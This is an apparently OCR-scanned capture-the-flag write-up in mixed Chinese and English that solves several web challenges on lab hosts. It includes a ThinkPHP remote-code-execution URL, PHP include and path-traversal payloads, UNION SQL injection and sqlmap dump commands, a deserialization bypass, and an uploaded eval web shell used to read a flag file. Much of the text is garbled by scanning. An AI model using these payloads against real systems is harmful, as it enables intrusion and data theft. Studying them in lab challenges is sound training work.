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?’s=index/think\app/invokefunction&function=call_user_func_array&vars[0|=system&vars[1][|=cat /flag
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2. Web_php_include

BERRIX 4 —Btphp

<7php

show_source(__FILE__);

echo $_GET['hello'];

$page=$_GET['page’];

while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);

}

include($page);
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<?php system('ls')?>
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Host: 220.248.52.133:39785
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Accept Language: h-CH,=hjqe0 8.
ocopt -Encodang: gsip. deflate
Comnestiom: cloce

Tpgrnde. Tnoecure Eomuesta: 1
Cont et -Length: 64
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<Iphp eyobem('cat £ldgisisishird.php')s?
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(2) Pavioad Sets

¥ou can define ane or mom payload sats, The number of payload sets depends on the attack type defined in the Positions tab. Various payload types ane available for each payload set, and each payload type can be customized in different ways.

— Intruder attack 1 -
Payload set: | 1 | Paylaad count: 09,990

Altack Save Columns

Payioad type: | Numbers v Request count: 29,990

JMTTM TPDsrlms iPamads IOmms]
Filler: Snowing all items | Ll,l
= Payload Options [Numbers]
- Reguest | Payload | Statws | Eor | Time... | Length ¥ | Coment
This payload type generates numenc peyloas within 2 given rangs and in a specified format. Il
2333 2333 200 ] o 1801 'Y
0 200 (] O 1ses
1 1 200 o O 1ses
Type: @ Sequential () Randam 2 2 200 ] O 1ses
3 3 200 o O 1ses
From: 1 a a 200 (] ] 1ses
r 5 5 200 ] O 1sss
To: e [ [ 200 o] O 1m88
\ T 7 200 (] O 1ses v
Steq: 1 -
How many:
Base: @ Decimal () Hex
Min inbegor digits:

M integer dgns:
Min fraction dgis:

Mam fraetion Sgits:

11
SATE54321.1234568
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cyberpeace{afc9173548371a85125b67390f10a111}
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4. warmup

HERANEK EHEED

& o 0 m @ | 220.249.52.133:36559/
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<?php
highlight_file(_ FILE_ );
class emmm

{
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1
$whitelist = ["source”=>"source.php”, "hint"=>"hint.php™];
if (! isset($page) || !is_string(S$page)) {
echo "you can't see it";
return false;

}

if (in_array($page, $whitelist)) {
return true;

}

%_page = mb_substr(
$page,
B.'l
mb_strpos(%page . "7, '?7)
)i
if (in_array($_page, $whitelist)) {
return true;
}

% page = urldecode(%page);
%_page = mb_substr(
$_page,
a,
mb_strpos($_page . "F', "?7)

E

if (in_array(%_page, $whitelist)) {
return true;

}

echo "you can't see it";
return false;

¥

if (! empty($_REQUEST['file'])
&% is_string($_REQUEST['file'])
&% emmm::checkFile($ REQUEST['file'])

i include $_REQUEST['file'];
exit;
¥ else {
echo "<brr<img src=\"https://i.leli.net/2018/11/01/5bdb@d33dc794. jpg\" /»";

¥
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flag not here, and flag in ffffllllaaaagggg
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?file=source.php?/../../../../ffffllllaaaagggg
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5. NewsCenter
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OVERVIEW

Search news

News

Hello
Hello World!
Two Zere-Day Exploits Found After Up

Security researchers at Microsoft have unveiled details of two critical and important zero-day vulnerabilities that had recently
been

Facebook Admits Sharing User Data With 61 Tech Com

Facebook has admitted that the company gave dozens of tech companies and app developers special access to its user data
after publicly saying it had restricted outside companies to access such data back in 2015.

Researchers Uncover New Attacks Against LTE Networ

If your mobile carrier offers LTE, also known as the 4G network, you need to beware as your network communication can be
hijacked remotely.

RAMpage Attack Explaineda€”Exploiting RowHammer On

A'team of security researcners has discovered a new set of techniques that could allow hackers to bypass all Kind of present
mitigations put in place to prevent DMA-based Rowhammer attacks against Android devices.

ttps:/blog.csdn.net Kin_44604541
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1' order by 3# EEIE#H
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pr Ui =51
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1’ union select 1,2,database()#



Search news

search

1" union select 1,2 database()#

News

NeEws

e =3

1' union select 1,2,table_name from information_schema.tables where table_schema='news'#

Search news

search
1" union select 1,2 table_name from information_schema tables where table_schema="news'#

News

news
2
secret_table

&5

1' union select 1,2,column_name from information_schema.columns where table_name='secret_table'#



Search news

search
1" union select 1,2 column_name from information_schema_columns where table_name='secret_table'#

HFflag T

1" union select 1,id,fl4g from secret_table#

Search news

search
1" union select 1,id, fldg from secret_table#

News

1
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sqlmap -u http://192.168.100.161:53459 --data "search=df" #ZFMAFEA K

sqlmap -u http://192.168.100.161:53459 --data "search=df" -dbs #ZHWL1#/F5E

sqlmap -u http://192.168.100.161:53459 --data "search=df" -D news --tables #ZH/Z/#15E

sqlmap -u http://192.168.100.161:53459 --data "search=df" -D news -T secret_table --columns #FHH 7/ FE 55
sqlmap -u http://192.168.100.161:53459 --data "search=df" -D news -T secret_table -C "fl4g" --dump #ZHFE A%
, 72#flag
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<script>_='function $(){"Be="DgetEle”0ById("c").value;"Nlength==16"E"be0f2["A233
98aa$"Ac7be9”G){ Bt Hf1"Cs_a"Ci"Ce}"Fn"Ha"C_h@l"Cn"Fr"Hg{"Ce"C_0"Fi*Hit\'"C
'Fs-[t n,r,i];for("Bo=0;0<13;++0){ "K[0]);"K Spllce(@ 1);}; \'<input

i o T oncllck $()>0k</"L>\"');delete _"A"G 3 "*bdocu™0.”E)"*Nmatch(
: : "Dwrite("Ks[o%4]” 'button 1f(e."'l._.lment :for(Y in $='"0"N"
"Jwith(_.split($[Y]))_=join(pop());eval(_)</script>

BEEAN eval( ) , MiZRXANBITEER T LS
Bk alert( ) , ibVEFGHHH

D file:///home/cy/ctffwebl00
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function $(){var e=document.getElementByld("c").value;if(e.length==16)if(e.match(/~be0f24
Hl_l"IU“)!f e r‘natch(;‘”’3Bac,r')'—r|uI|||ftc n‘|atchr.fe‘983a':,/i'—ﬂulljlfle natch(/c7be9/)!=null){var

,"e}"L;var n=["a","_hol","n"];var r=["g{" ,“_0"Lvar i=["it',"_""n"];var
s=[t.n,r,i];for{var 0=0;0<13; ++o'}{docur‘nent_write{5[0'_..-'.-;4][01}_;
s[0%4].splice(0,1)} } }document.write('<input id="c"><button onclick=%()>0k</button>");
delete

W5E

hitps://blog.csdn.nevweixin_44604541

fi A B 2

function $({
var e=document.getElementByld("c").value;
if(e.length==16)
if(e.match(/*be0f24/)!=null)
ifle.match(/233ac/)!=null)
if(e.match{/e98aa%/)!=null)
if(e.match(/c7be9/)! =null){

var .t: [rlflll'rls_arl ll'rl lle}l'l].
var n=["a","_h0l","n"];
var r=["g{","e".," 0"];
var i=["it","_","n"];
var s=[t,n,r.i];
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Torvar 0=u,0<13;++0}

}
}

document.write('<input id="c"> <button onclick=$()> Ok </button=");
delete

BETEER
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% 233ac

o f&c7be9

15 5)be0f233ac7be98aa
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be0f233ac7be98aa Ok

B 3flag
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flag{it's_a_hOle_in_One}
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7. PHP2

document.write(s[o%4][0]);
s[0%4].splice(0,1)
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220.249.52.13

KaliLinux  KaliTraining  Kali Tools » Kali Docs

Can you anthenticate to this website?

BTHE. .
P15 B fEindex.phps
mHEBRARRK (3

220.249.52.13

KaliLinux  KaliTraining  Kali Tools = Kali Docs

not allowed!

*); exit(); } $_GET[id] = urldecode($_GET[id]); if($_GET[id] == "admin") { echo "
Access granted!

", echo "

Key: xoooo

"+ } 7= Can you anthenticate to this website?

BRER

FEHGETH RAIdS Htkid— AN admin’ (&

o [HRESZ T —Rurldecode

Pt LA E URL 4 i

?1d=%2561%2564%256d%2569%256e
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Access granted!
Key: cyberpeace{86a5675fccab5ed9eac261dcad989e4 3}

Can you anthenticate to this website?
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Access granted!
Key: cyberpeace{86a5675fccab5ed9eac261dcad989e4 3}

Can you anthenticate to this website?
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8. unserialize3
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class xctf{

public $flag = '111";

public function __wakeup(}
exit('bad requests');

]

?code=

ZadA

IS 2 3t R BEAE 7 71 AL I 1 B i wakeup
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https://www.cnblogs.com/youyoui/p/8610068.html
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<Tphp O xeti*1:{s:4:"lag" s:3:7111")
class xctf{
public $flag = "111°;
{ public function __wakeup(){
exit('bad requests');
fﬁznew netf();
I print(serialize($a));
'] -J.\|

xR B FHEAN KSR T
& Flflag
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the answer is : cyberpeace{19b9eabf700f494037fe62341b8aci7 3}
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Y.  FERFICH. k&
<!Doctype html=
<html=
<head>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /=
<script type="text/javascript"=>
Array.prototype.contains = function (obj) {
var i = this.length;
while (i--) {
if (this[i] === obj) {
return true;
1
}
return false;
}
function check(){
upfile = document.getElementByld("upfile");
submit = document.getElementByld("submit");
name = upfile.value;
ext = name.replace(/".+\./,");
if(('jpg’,'png’l.contains(ext)){
submit.disabled = false;

lelsef
submit.disabled = true;
alert("BiEE—SKE R IF LED);

}

}

</script=

</head=

<body>

<form enctype="multipart/form-data’ id="aa' name="aaa' method="post’ action="index.php'=
<input id="upfile" name="upfile’ type="file' onchange="check();" />

<input type="submit’ id ='submit’ value="1{%&">

</form=>

</body=

=/html=

PN % e oA Y e e BB
HApngMjpgHI74 ge E1&
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<html>
w chody»
upload success : upload/1592477189.upload.php
Content-Type text/html; charset=utf-B
| ] Text ]1..'""'_1'

w <form id="aa" enctype="multipart/form-data" name="aaa" method="post” action="index.php">

}J"Lu'. id="upfile” name="upfile” type="file” onchange="check();

html » hade » foem v inraitEunfile

Y& html
# onchage="check();" &M T
WG bfE—AN—a1EARS

<?php @eval($_POST[ 'helter']);?>

20.249.52.13
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upload success : upload,/1592477109.upload.php

Y. R L%

P8I R

[ SEEIE (hitp:/220.249,52.133:54971/upload/1592477109.upload.php ) -0Ox
#F xiEE Dbl
Bi EapmE v

URLIgdt = hitp: /7 220.249.52.133: 5497 1/'upload/ 1592477 109.upload.php

P ¢ helter

b 5=
A S UTFa v
Fi3: & 5.0 PHP -
(=) default ()
O random (FHE)
O basesd -
2 WkiEE ~
of i A
M Elflag T

4 52 [0 220.249.52.133
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= www
& hml D  upload
M upload flag.php
I backups index. html
M cache index.php
b lib @ install.sh
I local
B lock
i log
B mail
B opt
I nn
Il spool
I mp

(m} iR ivariwww/htmlflag.php
fvartwwwihimlflag.php

1 <?php

2 S§flag="cyberpeace{ffbbbaa311a0a663e3d38b6e6313cTTa}";
3

4

E T Bwriteupfh A1 2 Se 3 php Bt ijpg b A%
T A burpsuite N B 1& 5 Bphp7E 4% Ik 5538
B R

PAR SR TIEE R~ K
EmeEL¥aWEN

45
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RN IR 2R

N -

Ivarfwww/himl’

Bit
2020-06-18 10:45:00
2020-06-18 10:22:44
2018-09-12 01:54:42
2018-09-12 01:54:42

2018-09-12 01:54:42
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